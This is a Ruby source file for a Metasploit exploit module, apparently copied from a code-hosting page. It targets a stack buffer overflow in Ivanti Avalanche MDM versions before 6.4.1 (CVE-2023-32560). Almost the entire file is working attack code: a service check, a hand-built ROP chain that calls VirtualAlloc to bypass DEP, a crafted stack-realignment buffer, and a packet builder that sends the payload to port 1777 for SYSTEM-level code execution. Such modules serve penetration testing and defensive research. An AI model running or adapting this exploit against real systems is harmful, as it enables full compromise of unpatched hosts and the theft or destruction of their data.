162 lines
5.5 KiB
Ruby
162 lines
5.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Ivanti Avalanche MDM Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.
|
|
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
|
|
which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.
|
|
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
|
|
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
|
|
Upon successful exploitation the attacker gains full access to the target system.
|
|
|
|
This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module
|
|
'A researcher at Tenable' # Discovery
|
|
],
|
|
'References' => [
|
|
['CVE', '2023-32560'],
|
|
['URL', 'https://www.tenable.com/security/research/tra-2023-27'],
|
|
['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']
|
|
],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Payload' => {
|
|
'BadChars' => "\x3b"
|
|
},
|
|
'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2023-08-14',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect
|
|
rescue StandardError
|
|
print_error('Could not connect to target!')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
res = sock.get_once
|
|
|
|
if res =~ /p\.guid/
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
expected_payload_size = 622
|
|
|
|
# This is a custom ROP chain for bypassing DEP via VirtualAlloc
|
|
rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;
|
|
rop_chain += [0x00001000].pack('V') # flAllocationType
|
|
rop_chain += [0x00499ac0].pack('V') # pop eax ; ret ;
|
|
rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry
|
|
rop_chain += [0x00566650].pack('V') # pop ecx ; ret ;
|
|
rop_chain += [0x00000040].pack('V') # flProtect
|
|
rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ;
|
|
rop_chain += [0x00000320].pack('V') # dwSize
|
|
rop_chain += [0x00402323].pack('V') # pop ebp; ret
|
|
rop_chain += [0x0055642a].pack('V') # pop eax; ret
|
|
rop_chain += [0x0052ad90].pack('V') # pop esi; ret;
|
|
rop_chain += [0x0042792f].pack('V') # jmp [eax]
|
|
rop_chain += [0x00521907].pack('V') # pop edi ; ret ;
|
|
rop_chain += [0x00568968].pack('V') # ret ;
|
|
rop_chain += [0x004995ab].pack('V') # pushad ; ret ;
|
|
rop_chain += [0x00499c20].pack('V') # push esp ; ret
|
|
|
|
# Because of the compiler optimized `qmemcpy`
|
|
# we are not able to directly return to out smashed stack.
|
|
# This buffer re-arranges the entire stack for escaping
|
|
# the longass function without crashing.
|
|
buf = Rex::Text.rand_text_alpha(136)
|
|
buf += [0].pack('V') # set empty register
|
|
buf += [0].pack('V') # set empty register
|
|
buf += [0].pack('V') # stack alignment buffer
|
|
buf += [0].pack('V') # stack alignment buffer
|
|
buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;")
|
|
buf += [0x00583900].pack('V') # .data section scratch space
|
|
buf += [0x00583900].pack('V') # .data section scratch space
|
|
buf += [0x00585858].pack('V') # .data section scratch space
|
|
buf += [0x00585857].pack('V') # .data section scratch space
|
|
|
|
# ==================
|
|
name1 = 'h.mid'
|
|
value1 = "\x30"
|
|
|
|
name2 = 'h.cmd'
|
|
value2 = "\x31\x39"
|
|
|
|
name3 = 'p.waitprofile'
|
|
value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)
|
|
|
|
item1 = [2].pack('N')
|
|
item1 += [name1.length].pack('N')
|
|
item1 += [value1.length].pack('N')
|
|
item1 += name1 + value1
|
|
|
|
item2 = [2].pack('N')
|
|
item2 += [name2.length].pack('N')
|
|
item2 += [value2.length].pack('N')
|
|
item2 += name2 + value2
|
|
|
|
item3 = [101].pack('N')
|
|
item3 += [name3.length].pack('N')
|
|
item3 += [value3.length].pack('N')
|
|
item3 += name3 + value3
|
|
|
|
hp = item1 + item2 + item3
|
|
if hp.length % 16 != 0 # Add padding if not power of 16
|
|
hp += ("\x00" * (16 - (hp.length % 16)))
|
|
end
|
|
|
|
preamble = [hp.length + 16].pack('N')
|
|
preamble += [item1.length + item2.length].pack('N')
|
|
preamble += [(hp.length + 16) - 0x3b].pack('N')
|
|
preamble += [0].pack('N')
|
|
|
|
packet = preamble + hp
|
|
|
|
print_status('Connecting to target...')
|
|
connect
|
|
res = sock.get_once
|
|
fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?
|
|
|
|
print_status('Sending payload...')
|
|
sock.put(packet)
|
|
disconnect
|
|
end
|
|
end
|